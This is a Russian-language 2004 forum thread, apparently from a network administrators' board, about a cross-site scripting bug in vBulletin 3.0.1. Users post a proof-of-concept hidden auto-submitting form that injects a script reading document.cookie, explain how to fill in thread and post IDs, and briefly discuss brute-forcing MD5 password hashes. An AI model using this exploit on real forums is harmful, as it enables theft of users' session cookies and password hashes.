Форум сетевых администраторов Страницы (3): [1] 2 3 »
Показаны 32 сообщений на этой странице

Форум сетевых администраторов (http://netadmin.ws/forum/index.php)
- VBulletin 3.x.x (http://netadmin.ws/forum/forumdisplay.php?forumid=74)
-- Баг в vBulletin 3.0.1 (http://netadmin.ws/forum/showthread.php?threadid=9047)


Помещено Yoghurt 28-06-2004 в 11:27:

Баг в vBulletin 3.0.1

Обнаружена уязвимость в vBulletin. Удаленный атакующий может получить доступ к важной информации пользователей.

Пример:

code:

<form action="http://host/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="123456" />
<input name="p" value="123456" />
<input type="submit" class="button" name="preview"/>
</form>
&lt;script&gt;
document.all.preview.click();
&lt;/script&gt; 



Подсмотрел тут

__________________
Жизнь - вредная штука, от нее умирают...


Помещено phprus 28-06-2004 в 14:34:

Yoghurt
Надо чтобы админ вставил это шаблон? я правильно понимаю?


Помещено GenUS 28-06-2004 в 15:58:

Мля .... действительно работает .... (
Нужно что-то делать ....

__________________
.


Помещено GenUS 28-06-2004 в 16:09:

Более корректный вот этот код:
code:

<form action="http://forum/newreply.php" name="vbform"
method="post" style='visibility:hidden'>
<input name="WYSIWYG_HTML"
value="&lt;IMG src="java script:alert(document.cookie)"&gt;"/>
<input name="do" value="postreply"/>
<input name="t" value="441" />
<input name="p" value="6308" />
<input type="submit" class="button" name="preview"/>
</form>
<script>
document.all.preview.click();
</script>


В input name="t" вписывается ID ветки ...
В input name="p" вписывается ID любого сообщения из этой ветки ...

Если концовку заменить на:

code:
..........
<input type="submit" class="button" name="sbutton"/>
</form>
<script>
document.all.sbutton.click();
</script>

То будет постится сразу и будет показывать в посте:
[img]java script:alert(document.cookie)[/img] и никаких Alert-ов ....

ЗЫ В аттаче скриншот того, что происходит при превью ...

__________________
.


Помещено MCTarakan 28-06-2004 в 17:02:

интересно, а на 3.0.0 тоже рабоатет? и ваще-то я не понял.. что именно надо сделать с этим кодом? Ввести его в форму ответа или что?

MCTarakan добавил 28-06-2004 в 17:03:21:
да, я так понял в инфе все-равно пароль который засекречен MD5? Его можно расшифровать или нет?

__________________
yMC.ru - хомяк музыканта


Помещено GenUS 28-06-2004 в 17:20:

MCTarakan
В отдельный html файл вставляешь и в браузере открываешь его ...

MD5 расшифровать при возможности можно ... чаще всего только брутфорсом ... хотя кажется в 3.0.x в исходный пароль "подмешивается" еще что-то ... так-что в этом случае расшифровать становится значительно сложней ....

__________________
.


Помещено phprus 28-06-2004 в 17:30:

А на vb3.0.0 эта дыра есть?


Помещено MCTarakan 28-06-2004 в 17:44:

в 3.0.0 вроде эта дыра не заработала (во всяком случае у меня)...

__________________
yMC.ru - хомяк музыканта


Помещено Minister 29-06-2004 в 00:31:

GenUS
То, что с паролем подмешивается, этого мало. Там подмешивается какая-то подборка чисел, которую можно и самому изменить. Но толку от этого мало будет.
Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.

__________________
Gets.ru - Компьютерный Портал


Помещено NeoExpert 30-06-2004 в 01:36:

quote:

Если посмотреть как замешивается сессия, это я бы сказал супер. Вот может такую же фишку и смешивать с паролем. Хотя потом расшифровать наверное не расшифруешь.


Лучше мешать с самим паролем. То есть восстановлению не подлежит.


Помещено Minister 30-06-2004 в 06:24:

NeoExpert
Логично! Но на вряд ли получится, т.к. сессия постоянно разная, т.е. получится что один раз смешалась, а потом когда система будет проверять пароль, то в конечном итоге все прийдет к тому, что система будет ругаться что пароль неверный.

__________________
Gets.ru - Компьютерный Портал


Помещено W.M. 30-06-2004 в 08:00:

А в чем "дыра" заключается? Что ты сам свой MD5 пароль увидишь?


Помещено MCTarakan 30-06-2004 в 12:47:

W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

__________________
yMC.ru - хомяк музыканта


Помещено W.M. 30-06-2004 в 13:53:

аа я понял... типа пытаемся обмануть борду что мы хотим preview и она наивно нам отдается вместе со всеми MD5 :-)

Я вообще не понимаю - зачем в куках хранить хеш пароля... еще бы кредитки номер отдавали... куки же не секьюрные, по http передаются (за редким исключением)...


Помещено DimonT 30-06-2004 в 22:21:

quote:
W.M. я так понял MD5-пароль того чела, чей постИД ты введешь!

я, возможно, чего-то не понимаю, но откуда в чужом посте могут взяться куки, тем более - с md5 его автора?!
quote:
Я вообще не понимаю - зачем в куках хранить хеш пароля...
чтобы тебя авторизовать автоматом могло при входе на форум.

__________________
вот так вот...

ICQ 937160


Формат времени GMT. Текущее время 21:57. Страницы (3): [1] 2 3 »
Показаны 32 сообщений на этой странице

Powered by: vBulletin Version 2.2.4
Copyright © Jelsoft Enterprises Limited 2000, 2001.